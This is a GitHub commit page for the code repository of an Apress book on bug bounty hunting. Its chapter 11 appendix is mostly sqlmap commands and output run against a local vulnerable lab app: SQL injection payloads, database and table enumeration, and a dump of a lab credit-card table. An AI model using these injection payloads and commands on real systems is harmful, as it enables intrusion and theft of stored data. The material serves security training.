Skip to content

Commit 72561d2

Browse files
Mark PowersMark Powers
Mark Powers
authored and
Mark Powers
committed
Initial commit
0 parents  commit 72561d2

17 files changed

+1542
-0
lines changed

‎.gitattributes

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Auto detect text files and perform LF normalization
2+
* text=auto

‎9781484253908.jpg

26.4 KB
Loading

‎Contributing.md

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# Contributing to Apress Source Code
2+
3+
Copyright for Apress source code belongs to the author(s). However, under fair use you are encouraged to fork and contribute minor corrections and updates for the benefit of the author(s) and other readers.
4+
5+
## How to Contribute
6+
7+
1. Make sure you have a GitHub account.
8+
2. Fork the repository for the relevant book.
9+
3. Create a new branch on which to make your change, e.g.
10+
`git checkout -b my_code_contribution`
11+
4. Commit your change. Include a commit message describing the correction. Please note that if your commit message is not clear, the correction will not be accepted.
12+
5. Submit a pull request.
13+
14+
Thank you for your contribution!

‎LICENSE.txt

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
Freeware License, some rights reserved
2+
3+
Copyright (c) 2019 Sanjib Sinha
4+
5+
Permission is hereby granted, free of charge, to anyone obtaining a copy
6+
of this software and associated documentation files (the "Software"),
7+
to work with the Software within the limits of freeware distribution and fair use.
8+
This includes the rights to use, copy, and modify the Software for personal use.
9+
Users are also allowed and encouraged to submit corrections and modifications
10+
to the Software for the benefit of other users.
11+
12+
It is not allowed to reuse, modify, or redistribute the Software for
13+
commercial use in any way, or for a user’s educational materials such as books
14+
or blog articles without prior permission from the copyright holder.
15+
16+
The above copyright notice and this permission notice need to be included
17+
in all copies or substantial portions of the software.
18+
19+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22+
AUTHORS OR COPYRIGHT HOLDERS OR APRESS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
24+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
25+
SOFTWARE.
26+
27+

‎README.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# Apress Source Code
2+
3+
This repository accompanies [*Bug Bounty Hunting for Web Security*](https://www.apress.com/9781484253908) by Sanjib Sinha (Apress, 2019).
4+
5+
[comment]: #cover
6+
![Cover image](9781484253908.jpg)
7+
8+
Download the files as a zip using the green button, or clone the repository to your machine using Git.
9+
10+
## Releases
11+
12+
Release v1.0 corresponds to the code in the published book, without corrections or updates.
13+
14+
## Contributions
15+
16+
See the file Contributing.md for more information on how you can contribute to this repository.

‎Sinha_Appendix_ch11_Codes

Lines changed: 307 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,307 @@
1+
//code 11.1
2+
root@kali:~# sqlmap -u https://sanjibsinha.fun -a
3+
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
4+
[*] starting @ 06:24:04 /2019-08-20/
5+
[06:24:05] [INFO] testing connection to the target URL
6+
[06:24:08] [INFO] checking if the target is protected by some kind of WAF/IPS
7+
[06:24:09] [INFO] testing if the target URL content is stable
8+
[06:24:40] [WARNING] potential CAPTCHA protection mechanism detected
9+
[06:24:40] [WARNING] it appears that you have been blocked by the target server
10+
[06:24:40] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
11+
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
12+
[06:24:53] [INFO] searching for dynamic content
13+
[06:25:00] [CRITICAL] target URL content appears to be heavily dynamic. sqlmap is going to retry the request(s)
14+
[06:25:22] [WARNING] target URL content appears to be too dynamic. Switching to '--text-only'
15+
[06:25:22] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')
16+
[*] ending @ 06:25:22 /2019-08-20/
17+
18+
-------------------------
19+
20+
//code 11.2
21+
GET /mutillidae/index.php?page=user-info.php&username=sanjib&password=123456&user-info-php-submit-button=View+Account+Details HTTP/1.1
22+
Host: 192.168.2.3
23+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
24+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
25+
Accept-Language: en-US,en;q=0.5
26+
Accept-Encoding: gzip, deflate
27+
Referer: http://192.168.2.3/mutillidae/index.php?page=user-info.php
28+
Cookie: showhints=1; PHPSESSID=h5ssn4mn749e9apf1j5hflmbm3; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
29+
Connection: close
30+
Upgrade-Insecure-Requests: 1
31+
32+
--------------------------
33+
34+
35+
//code 11.3
36+
root@kali:/tmp# sqlmap -r test.request --banner
37+
38+
39+
---------------------------
40+
41+
//code 11.4
42+
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
43+
[*] starting @ 08:30:37 /2019-08-20/
44+
[08:30:37] [INFO] parsing HTTP request from 'test.request'
45+
[08:30:38] [INFO] testing connection to the target URL
46+
[08:30:40] [INFO] heuristics detected web page charset 'windows-1252'
47+
[08:30:40] [INFO] testing if the target URL content is stable
48+
[08:30:40] [INFO] target URL content is stable
49+
[08:30:40] [INFO] testing if GET parameter 'page' is dynamic
50+
[08:30:41] [INFO] GET parameter 'page' appears to be dynamic
51+
...
52+
[08:31:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
53+
….
54+
[08:33:51] [INFO] testing if GET parameter 'username' is dynamic
55+
[08:33:53] [WARNING] GET parameter 'username' does not appear to be dynamic
56+
…..
57+
[08:43:14] [INFO] target URL appears to have 7 columns in query
58+
[08:43:21] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
59+
GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
60+
sqlmap identified the following injection point(s) with a total of 218 HTTP(s) requests:
61+
---
62+
Payload: page=user-info.php&username=-3423' OR 4975=4975#&password=123456&user-info-php-submit-button=View Account Details
63+
Type: error-based
64+
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
65+
Payload: page=user-info.php&username=sanjib' AND (SELECT 8222 FROM(SELECT COUNT(*),CONCAT(0x7162767071,(SELECT (ELT(8222=8222,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dNfA&password=123456&user-info-php-submit-button=View Account Details
66+
Type: time-based blind
67+
Title: MySQL >= 5.0.12 AND time-based blind
68+
Payload: page=user-info.php&username=sanjib' AND SLEEP(5)-- sJJx&password=123456&user-info-php-submit-button=View Account Details
69+
Type: UNION query
70+
Title: MySQL UNION query (NULL) - 7 columns
71+
Payload: page=user-info.php&username=sanjib' UNION ALL SELECT NULL,CONCAT(0x7162767071,0x4d72546474614551564b707a554b4b6d6d4542524f6547444953444f52656a4b5a724c6a514c5868,0x7162717a71),NULL,NULL,NULL,NULL,NULL#&password=123456&user-info-php-submit-button=View Account Details
72+
---
73+
[08:43:23] [INFO] the back-end DBMS is MySQL
74+
[08:43:23] [INFO] fetching banner
75+
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
76+
web application technology: PHP 5.3.2, Apache 2.2.14
77+
back-end DBMS operating system: Linux Ubuntu
78+
back-end DBMS: MySQL >= 5.0
79+
banner: '5.1.41-3ubuntu12.6-log'
80+
[08:43:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
81+
82+
[*] ending @ 08:43:24 /2019-08-20/
83+
84+
85+
-------------------------------
86+
87+
88+
//code 11.5
89+
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL --banner
90+
91+
-------------------------
92+
93+
94+
//code 11.6
95+
Parameter: username (GET)
96+
Type: boolean-based blind
97+
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
98+
Payload: page=user-info.php&username=-3423' OR 4975=4975#&password=123456&user-info-php-submit-button=View Account Details
99+
100+
Type: error-based
101+
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
102+
Payload: page=user-info.php&username=sanjib' AND (SELECT 8222 FROM(SELECT COUNT(*),CONCAT(0x7162767071,(SELECT (ELT(8222=8222,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dNfA&password=123456&user-info-php-submit-button=View Account Details
103+
104+
Type: time-based blind
105+
Title: MySQL >= 5.0.12 AND time-based blind
106+
Payload: page=user-info.php&username=sanjib' AND SLEEP(5)-- sJJx&password=123456&user-info-php-submit-button=View Account Details
107+
108+
Type: UNION query
109+
Title: MySQL UNION query (NULL) - 7 columns
110+
Payload: page=user-info.php&username=sanjib' UNION ALL SELECT NULL,CONCAT(0x7162767071,0x4d72546474614551564b707a554b4b6d6d4542524f6547444953444f52656a4b5a724c6a514c5868,0x7162717a71),NULL,NULL,NULL,NULL,NULL#&password=123456&user-info-php-submit-button=View Account Details
111+
---
112+
[08:47:22] [INFO] testing MySQL
113+
[08:47:23] [WARNING] reflective value(s) found and filtering out
114+
[08:47:23] [INFO] confirming MySQL
115+
[08:47:29] [INFO] the back-end DBMS is MySQL
116+
[08:47:29] [INFO] fetching banner
117+
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
118+
web application technology: PHP 5.3.2, Apache 2.2.14
119+
back-end DBMS operating system: Linux Ubuntu
120+
back-end DBMS: MySQL >= 5.0.0
121+
banner: '5.1.41-3ubuntu12.6-log'
122+
[08:47:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
123+
124+
[*] ending @ 08:47:29 /2019-08-20/
125+
126+
127+
------------------------
128+
129+
130+
//code 11.7
131+
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL --dbs
132+
133+
134+
-----------------------
135+
136+
//code 11.8
137+
Type: UNION query
138+
Title: MySQL UNION query (NULL) - 7 columns
139+
Payload: page=user-info.php&username=sanjib' UNION ALL SELECT NULL,CONCAT(0x7162767071,0x4d72546474614551564b707a554b4b6d6d4542524f6547444953444f52656a4b5a724c6a514c5868,0x7162717a71),NULL,NULL,NULL,NULL,NULL#&password=123456&user-info-php-submit-button=View Account Details
140+
---
141+
[08:49:35] [INFO] testing MySQL
142+
[08:49:35] [INFO] confirming MySQL
143+
[08:49:37] [WARNING] reflective value(s) found and filtering out
144+
[08:49:37] [INFO] the back-end DBMS is MySQL
145+
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
146+
web application technology: PHP 5.3.2, Apache 2.2.14
147+
back-end DBMS: MySQL >= 5.0.0
148+
[08:49:37] [INFO] fetching database names
149+
available databases [34]:
150+
[*] .svn
151+
[*] bricks
152+
[*] bwapp
153+
[*] citizens
154+
[*] cryptomg
155+
[*] dvwa
156+
[*] gallery2
157+
[*] getboo
158+
[*] ghost
159+
[*] gtd-php
160+
[*] hex
161+
[*] information_schema
162+
[*] isp
163+
[*] joomla
164+
[*] mutillidae
165+
[*] mysql
166+
[*] nowasp
167+
[*] orangehrm
168+
[*] personalblog
169+
[*] peruggia
170+
[*] phpbb
171+
[*] phpmyadmin
172+
[*] proxy
173+
[*] rentnet
174+
[*] sqlol
175+
[*] tikiwiki
176+
[*] vicnum
177+
[*] wackopicko
178+
[*] wavsepdb
179+
[*] webcal
180+
[*] webgoat_coins
181+
[*] wordpress
182+
[*] wraithlogin
183+
[*] yazd
184+
185+
[08:49:38] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
186+
187+
[*] ending @ 08:49:38 /2019-08-20/
188+
189+
-------------------------
190+
191+
//code 11.9
192+
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL -D nowasp --tables
193+
194+
195+
----------------------------
196+
197+
//code 11.10
198+
…
199+
[08:51:31] [INFO] testing MySQL
200+
[08:51:31] [INFO] confirming MySQL
201+
[08:51:33] [WARNING] reflective value(s) found and filtering out
202+
[08:51:33] [INFO] the back-end DBMS is MySQL
203+
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
204+
web application technology: PHP 5.3.2, Apache 2.2.14
205+
back-end DBMS: MySQL >= 5.0.0
206+
[08:51:33] [INFO] fetching tables for database: 'nowasp'
207+
Database: nowasp
208+
[12 tables]
209+
+----------------------------+
210+
| accounts |
211+
| balloon_tips |
212+
| blogs_table |
213+
| captured_data |
214+
| credit_cards |
215+
| help_texts |
216+
| hitlog |
217+
| level_1_help_include_files |
218+
| page_help |
219+
| page_hints |
220+
| pen_test_tools |
221+
| youtubevideos |
222+
+----------------------------+
223+
224+
[08:51:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
225+
[*] ending @ 08:51:34 /2019-08-20/
226+
227+
------------------------
228+
229+
//code 11.11
230+
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL -D nowasp -T credit_cards --columns
231+
232+
233+
----------------------------
234+
235+
//code 11.12
236+
[08:54:05] [INFO] testing MySQL
237+
[08:54:05] [INFO] confirming MySQL
238+
[08:54:06] [WARNING] reflective value(s) found and filtering out
239+
[08:54:06] [INFO] the back-end DBMS is MySQL
240+
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
241+
web application technology: PHP 5.3.2, Apache 2.2.14
242+
back-end DBMS: MySQL >= 5.0.0
243+
[08:54:06] [INFO] fetching columns for table 'credit_cards' in database 'nowasp'
244+
Database: nowasp
245+
Table: credit_cards
246+
[4 columns]
247+
+------------+---------+
248+
| Column | Type |
249+
+------------+---------+
250+
| ccid | int(11) |
251+
| ccnumber | text |
252+
| ccv | text |
253+
| expiration | date |
254+
+------------+---------+
255+
[08:54:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
256+
[*] ending @ 08:54:07 /2019-08-20/
257+
258+
------------------------
259+
260+
261+
//code 11.13
262+
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL -D nowasp -T credit_cards --dump
263+
264+
----------------------
265+
266+
//code 11.14
267+
[08:56:26] [INFO] testing MySQL
268+
[08:56:26] [INFO] confirming MySQL
269+
[08:56:28] [WARNING] reflective value(s) found and filtering out
270+
[08:56:28] [INFO] the back-end DBMS is MySQL
271+
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
272+
web application technology: PHP 5.3.2, Apache 2.2.14
273+
back-end DBMS: MySQL >= 5.0.0
274+
[08:56:28] [INFO] fetching columns for table 'credit_cards' in database 'nowasp'
275+
[08:56:28] [INFO] fetching entries for table 'credit_cards' in database 'nowasp'
276+
Database: nowasp
277+
Table: credit_cards
278+
[5 entries]
279+
+------+-----+------------------+------------+
280+
| ccid | ccv | ccnumber | expiration |
281+
+------+-----+------------------+------------+
282+
| 1 | 745 | 4444111122223333 | 2012-03-01 |
283+
| 2 | 722 | 7746536337776330 | 2015-04-01 |
284+
| 3 | 461 | 8242325748474749 | 2016-03-01 |
285+
| 4 | 230 | 7725653200487633 | 2017-06-01 |
286+
| 5 | 627 | 1234567812345678 | 2018-11-01 |
287+
+------+-----+------------------+------------+
288+
289+
[08:56:29] [INFO] table 'nowasp.credit_cards' dumped to CSV file '/root/.sqlmap/output/192.168.2.3/dump/nowasp/credit_cards.csv'
290+
[08:56:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
291+
[*] ending @ 08:56:29 /2019-08-20/
292+
293+
294+
-------------------------
295+
296+
//code 11.15
297+
<meta name="generator" content="WordPress 3.9.2" />
298+
299+
300+
-------------------------
301+
302+
//code 11.16
303+
root@kali:~# dirbuster
304+
305+
--------------------------
306+
307+

‎Sinha_ch01_Codes

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
//code 1.1
2+
root@kali:~# cd Downloads/
3+
root@kali:~/Downloads# ls
4+
webgoat-server-8.0.0.M25.jar
5+
root@kali:~/Downloads# java -jar webgoat-server-8.0.0.M25.jar
6+
18:58:02.756 [main] INFO org.owasp.webgoat.StartWebGoat - Starting WebGoat with args: {}

0 commit comments

Comments
 (0)